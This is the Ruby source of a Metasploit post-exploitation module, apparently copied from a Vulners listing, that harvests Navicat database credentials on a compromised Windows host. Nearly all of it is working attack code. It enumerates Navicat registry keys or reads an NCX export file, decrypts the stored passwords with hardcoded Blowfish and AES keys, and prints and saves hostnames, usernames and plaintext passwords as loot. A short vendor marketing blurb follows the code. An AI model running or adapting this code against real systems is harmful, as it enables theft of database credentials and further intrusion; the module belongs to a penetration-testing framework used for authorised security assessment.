##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
#
# @blurbdust based this code off of https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb
# and https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/enum_ms_product_keys.rb
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Registry
include Msf::Post::File
# secret_key = Digest::SHA1.digest('3DC5CA39')
SECRET_KEY = "B\xCE\xB2q\xA5\xE4X\xB7J\xEA\x93\x94y\"5C\x91\x873@".freeze
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Navicat Passwords',
'Description' => %q{ This module will find and decrypt stored Navicat passwords. },
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'https://github.com/HyperSine/how-does-navicat-encrypt-password'],
[ 'URL', 'https://blog.kali-team.cn/Metasploit-Navicat-fbc1390cf57c40b5b576584c48b8e125']
],
'Author' => [
'HyperSine', # Research and PoC
'Kali-Team <kali-team[at]qq.com>' # MSF module
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter', 'shell'],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
}
)
)
register_options(
[
OptString.new('NCX_PATH', [ false, 'Specify the path of the NCX export file (e.g. connections.ncx).']),
]
)
end
def blowfish_encrypt(data = "\xFF" * 8)
cipher = OpenSSL::Cipher.new('bf-ecb').encrypt
cipher.padding = 0
cipher.key_len = SECRET_KEY.length
cipher.key = SECRET_KEY
cipher.update(data) << cipher.final
end
def blowfish_decrypt(text)
cipher = OpenSSL::Cipher.new('bf-cbc').decrypt
cipher.padding = 0
cipher.key_len = SECRET_KEY.length
cipher.key = SECRET_KEY
cipher.iv = "\x00" * 8
cipher.update(text) + cipher.final
end
def strxor(str, second)
str.bytes.zip(second.bytes).map { |a, b| (a ^ b).chr }.join
end
def decrypt_navicat11(encrypted_data)
password = ''
return password unless encrypted_data
iv = blowfish_encrypt
ciphertext = [encrypted_data].pack('H*')
cv = iv
full_round, left_length = ciphertext.length.divmod(8)
if full_round > 0
for i in 0..full_round - 1 do
t = blowfish_decrypt(ciphertext[i * 8, 8])
t = strxor(t, cv)
password += t
cv = strxor(cv, ciphertext[i * 8, 8])
end
end
if left_length > 0
cv = blowfish_encrypt(cv)
test_value = strxor(ciphertext[8 * full_round, left_length], cv[0, left_length])
password += test_value
end
password
end
def decrypt_navicat_ncx(ciphertext)
ciphertext = [ciphertext].pack('H*')
aes = OpenSSL::Cipher.new('aes-128-cbc')
aes.decrypt
aes.key = 'libcckeylibcckey'
aes.padding = 0
aes.iv = 'libcciv libcciv '
aes.update(ciphertext)
end
def navicat_store_config(config)
if %i[hostname service_name port username].any? { |e| config[e].blank? } || config[:password].nil?
vprint_warning('Key data is empty, skip saving service credential')
return # If any of these fields are nil or are empty (with the exception of the password field which can be empty),
# then we shouldn't proceed, as we don't have enough info to store a credential which someone could actually
# use against a target.
end
service_data = {
address: config[:hostname],
port: config[:port],
service_name: config[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: refname,
private_type: :password,
private_data: config[:password],
username: config[:username],
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
create_credential_and_login(credential_data)
end
def parse_xml(data)
mxml = REXML::Document.new(data).root
result = []
mxml.elements.to_a('//Connection').each do |node|
host = node.attributes['Host']
port = node.attributes['Port']
proto = node.attributes['ConnType']
username = node.attributes['UserName']
name = node.attributes['ConnectionName']
epassword = node.attributes['Password']
password = decrypt_navicat_ncx(epassword)
result << {
name: name,
protocol: proto.downcase,
hostname: host,
port: port,
username: username,
password: password || epassword
}
end
print_and_save(result)
return result
end
def get_reg
reg_keys = Hash.new
reg_keys['mysql'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers'
reg_keys['mariadb'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers'
reg_keys['mongodb'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers'
reg_keys['mssql'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers'
reg_keys['oracle'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers'
reg_keys['postgres'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers'
reg_keys['sqlite'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers'
result = []
reg_keys.each_pair do |db_name, reg_key|
subkeys = registry_enumkeys(reg_key)
next if subkeys.nil?
subkeys.each do |subkey|
enc_pwd_value = registry_getvaldata("#{reg_key}\\#{subkey}", 'Pwd')
next if enc_pwd_value.nil?
username_value = registry_getvaldata("#{reg_key}\\#{subkey}", 'UserName')
port_value = registry_getvaldata("#{reg_key}\\#{subkey}", 'Port')
host_value = registry_getvaldata("#{reg_key}\\#{subkey}", 'Host')
pwd_value = decrypt_navicat11(enc_pwd_value)
result << {
name: subkey,
protocol: db_name,
hostname: host_value,
port: port_value,
username: username_value,
password: pwd_value || enc_pwd_value
}
end
end
print_and_save(result)
return result
end
def print_and_save(results)
columns = [
'Name',
'Protocol',
'Hostname',
'Port',
'Username',
'Password',
]
tbl = Rex::Text::Table.new(
'Header' => 'Navicat Sessions',
'Columns' => columns
)
results.each do |item|
tbl << item.values
config = {
name: item[:name],
hostname: item[:hostname],
service_name: item[:protocol],
port: item[:port].nil? ? '' : item[:port],
username: item[:username],
password: item[:password]
}
navicat_store_config(config)
end
print_line(tbl.to_s)
if tbl.rows.count > 0
path = store_loot('host.navicat_session', 'text/plain', session, tbl, 'navicat_sessions.txt', 'Navicat Sessions')
print_good("Session info stored in: #{path}")
end
end
def run
print_status('Gathering Navicat password information.')
if datastore['NCX_PATH'].present?
ncx_path = datastore['NCX_PATH']
print_status("Looking for #{ncx_path}")
begin
if file_exist?(ncx_path)
condata = read_file(ncx_path) || ''
fail_with(Failure::Unknown, "The file #{ncx_path} could not be read") if condata.empty?
loot_path = store_loot('navicat.creds', 'text/xml', session, condata, ncx_path)
print_good("navicat.ncx saved to #{loot_path}")
parse_xml(condata)
print_status("Finished processing #{ncx_path}")
end
rescue Rex::Post::Meterpreter::RequestError
fail_with(Failure::Unknown, "The file #{ncx_path} either could not be read or does not exist")
end
else
get_reg
print_status('Finished processing from the registry')
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation